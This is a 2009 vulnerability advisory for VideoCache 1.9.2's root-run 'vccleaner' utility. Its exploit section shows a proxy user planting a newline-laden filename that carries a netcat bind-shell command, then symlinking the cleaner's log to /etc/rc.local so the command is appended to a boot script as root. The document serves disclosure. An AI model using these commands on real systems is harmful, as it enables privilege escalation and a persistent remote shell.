VideoCache 1.9.2 vccleaner root vulnerability Dec 16 2009 12:37PM
Dominick LaTrappe (seraf 2600 COM)
====[ SYNOPSIS ]=====================================================

VideoCache is a Squid URL rewriter plugin written in Python for
bandwidth optimization while browsing video sharing websites. Version
1.9.2 allows a user with the privileges of the Squid proxy server to
append semi-arbitrary data to arbitrary files with root privileges, upon
the administrator's execution of the 'vccleaner' utility.

====[ DISCUSSION ]===================================================

VideoCache's 'vccleaner' utility is intended to be executed with root
permissions periodically, to remove expired videos from the cache.
(The utility will refuse to execute without root permissions.)
Upon execution, it looks for old files under the cache directory
/var/spool/videocache (writable by the Squid proxy user) and deletes
them. Each deleted filename is logged to vccleaner.log, located in
/var/log/videocache (directory writable by the Squid proxy user).

====[ EXPLOIT ]======================================================

.........................attacker.........................
$ id
uid=13(proxy) gid=13(proxy) groups=13(proxy)
$ cd /var/log/videocache
$ touch -d 19700101 "/var/spool/videocache/youtube/money
> nc -l -p 31337 -c sushi
> monkey"
$ rm -f vccleaner.log
$ ln -s /etc/rc.local vccleaner.log

.........................admin.........................
# id
uid=0(root) gid=0(root) groups=0(root)
# vccleaner
Videocache cleaning has completed successfully.

.........................postmortem.........................
$ cat /etc/rc.local
2009-12-16 06:56:29,403 INFO START Starting Videocache Cleaner.
2009-12-16 06:56:29,403 INFO DELETE /var/spool/videocache/youtube/money
nc -l -p 31337 -c sushi
monkey Older than 14594 day(s) was deleted.
2009-12-16 06:56:29,404 INFO STOP Stopping Videocache Cleaner.

====[ SHOUT OUTS ]===================================================

Tim, Ben, my buddies at GS, Alien Time Agent, and big man O.

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